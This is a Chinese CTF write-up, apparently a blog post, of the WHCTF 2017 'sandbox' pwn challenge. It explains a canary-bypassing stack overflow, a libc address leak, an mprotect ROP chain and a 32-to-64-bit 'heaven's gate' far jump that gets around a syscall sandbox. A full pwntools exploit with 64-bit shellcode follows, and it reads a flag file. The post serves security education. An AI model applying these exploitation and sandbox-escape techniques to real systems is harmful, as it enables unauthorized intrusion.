zoukankan      html  css  js  c++  java
  • pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目。

    用ida打开vuln:

    进入80485CB函数:

    这里s给的空间是48但是输入是直到换行停止,这里就存在了栈溢出。但是这道题目开了CANARY,所以不能直接覆盖到返回地址。注意到这题,s的空间下面就是v5,而v5是控制写到s的位置,所以可以通过覆盖v5到返回地址而绕过修改那段Cookie,在不开sandbox的情况下拿shell的办法为:

    1.覆盖返回地址为puts函数的plt表地址,由于这样跳转少了一个call函数也就是没有push返回地址,所以对于puts函数执行完的返回地址就是进入这个函数时的esp地址的下一个地址,然后再下一个地址就是puts函数的参数,第一次提交'a'*0x30+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)这样就会在执行到函数retn时去执行puts(puts_got)然后再返回到main函数中去。

    2.拿到了puts函数的实际地址再通过libc文件去拿到system函数的实际地址,再到第二次输入把/bin/sh写到内存中去,也就是调用read函数,提交'a'*0x30+p8(0x48)+p32(read_plt)+p32(main_addr)+p32(0)+p32(0x0804a02c),这样在执行完函数时会返回到read函数,接着输入'/bin/sh'就将字符串写到了0x0804a02c里。

    3.最后调用system函数,参数为0x0804a02c即可拿到shell。

    sandbox程序通过系统调用号限制了一些函数的使用,如execve、open、clone、vfork、create、opennat等,同时还会不停杀死新的进程。要绕过沙盒要知道两点,一是32位的系统调用号和64位的系统调用号不同,二是可以在32位进程中使用64位的系统调用要用到CS寄存器。

    在CPU处于保护模式下运行时,CS其实是段选择器,通过CS的值去找描述符表内对应的代码段基址。这里参考资料:https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html

    所以我们要做的就是把CS寄存器从0x23变成0x33,这个需要通过远跳转来实现,即jmp 0x33:addr。知道了如何跳到64位还要知道32位和64位系统调用时的情况,在32位系统中,是通过int $0x80进入系统调用,eax为系统调用号,参数依次放在ebx,ecx,edx中,而在64位系统中,是通过syscall进入系统调用,rax为系统调用号,参数依次放在rdi,rsi,rdx中。

    那么这道题的解题过程为:

    1,2两步同上(2中将写入/bin/sh改为写入./flag)。

    3.通过puts函数实际地址和libc拿到mprotect函数的实际地址,通过mprotect函数去申请一个内存页为可读可写可执行,提交p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7),这样将0x0804a000变为了可执行的内存段。

    4.通过read函数向0x0804a000中写入代码同时设置返回值为0x0804a000,这样read函数运行完后即可到0x0804a000去执行写入的代码(这里由于sandbox会不断的杀死新的进程,所以并没有使用execve函数而是使用了open,read,write函数将flag文件读取到终端上显示)。

    exp:

     1 from pwn import *
     2 context(arch='i386',os='linux',endian='little')
     3 context.log_level='debug'
     4                                                                                                                                       
     5 def game_start(p,libc):
     6     puts_plt=0x08048470
     7     puts_got=0x0804A018
     8     main_addr=0x0804865B
     9     read_plt=0x08048440
    10     payload='a'*48+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
    11     p.sendline(payload)
    12     print p.recvline()
    13     re = p.recv()
    14     puts_addr = u32(re[:4])
    15     print hex(puts_addr)
    16     data_addr = 0x0804A02C
    17     payload='a'*48+p8(0x48)
    18     system_addr = puts_addr-libc.symbols['puts']+libc.symbols['system']
    19     mprotect_addr = puts_addr-libc.symbols['puts']+libc.symbols['mprotect']
    20     print hex(system_addr)
    21     payload+=p32(read_plt)+p32(main_addr)+p32(0)+p32(data_addr)+p32(0x40)
    22     p.sendline(payload)
    23     print 'before:'+p.recvline()
    24 
    25     p.send('./flag')
    26     payload='a'*48+p8(0x48)
    27     payload+=p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7)
    28     p.sendline(payload)
    29     print 'third puts s:'+p.recvline()
    30     payload='a'*48+p8(0x48)
    31     payload+=p32(read_plt)+p32(0x0804ab00)+p32(0)+p32(0x0804ab00)+p32(0x200)
    32     p.sendline(payload)
    33     print 'fourth puts s:'+p.recvline()
    34     payload=asm('jmp 0x33:0x0804ab20',arch='i386').ljust(0x20,'x90')
    35     shellcode64 = '''
    36     BITS 64
    37     org 0x0804ab20
    38     mov rdi, 0x0804a02c
    39     xor rsi, rsi
    40     mov rax, 2
    41     syscall
    42     mov rdi, rax
    43     mov rax, 0
    44     mov rsi, 0x0804a900
    45     mov rdx, 0x100
    46     syscall
    47     mov rdx, rax
    48     mov rdi, 1
    49     mov rsi, 0x0804a900
    50     mov rax, 1
    51     syscall
    52     mov rdi, 0
    53     mov rax, 60
    54     syscall
    55     '''
    56     f = open('shell64.asm', 'wb')
    57     f.write(shellcode64.strip())
    58     f.close()
    59     os.popen('nasm -f bin -o shell64 shell64.asm')
    60     f = open('./shell64', 'rb')
    61     d2 = f.read()
    62     f.close()
    63     payload+=d2
    64     p.sendline(payload)
    65     p.interactive()
    66 
    67 if __name__=='__main__':
    68     debug=1
    69     if debug==1:
    70         p=process('./vuln')
    71         #p=process(['./sandbox','./vuln'])
    72         libc=ELF('./libc-32.so')
    73     else:
    74         p=remote('118.31.18.145',20004)
    75         libc=ELF('./libc.so.6')
    76 
    77     #gdb.attach(p,'b *0x0804863F')
    78 
    79 game_start(p,libc)

    sandbox题目下载地址:https://files.cnblogs.com/files/lllkh/68025091-fb40-4281-83ea-230331c1448a.gz

  • 相关阅读:
    恢复IE下载对话框[转]
    意外删除Oracle数据文件(dbf),恢复oralce库的解决办法Oracle错误代码:ORA01033
    [转].net的一些问题
    解决了一个ASP.NET无法接受中文参数值的情况
    修改IIS6的默认设置,扩充上传文件的大小
    在ASP.NET中Request取不到正确的中文参数问题解决办法[base64编码/解码]
    使用微软的TreeView控件有的客户端有脚本错误的问题
    [转]几种调用WebService的方法
    电脑操作精典密芨60式 【转】
    初始化时间下列框的脚本
  • 原文地址:https://www.cnblogs.com/lllkh/p/7740262.html
Copyright © 2011-2022 走看看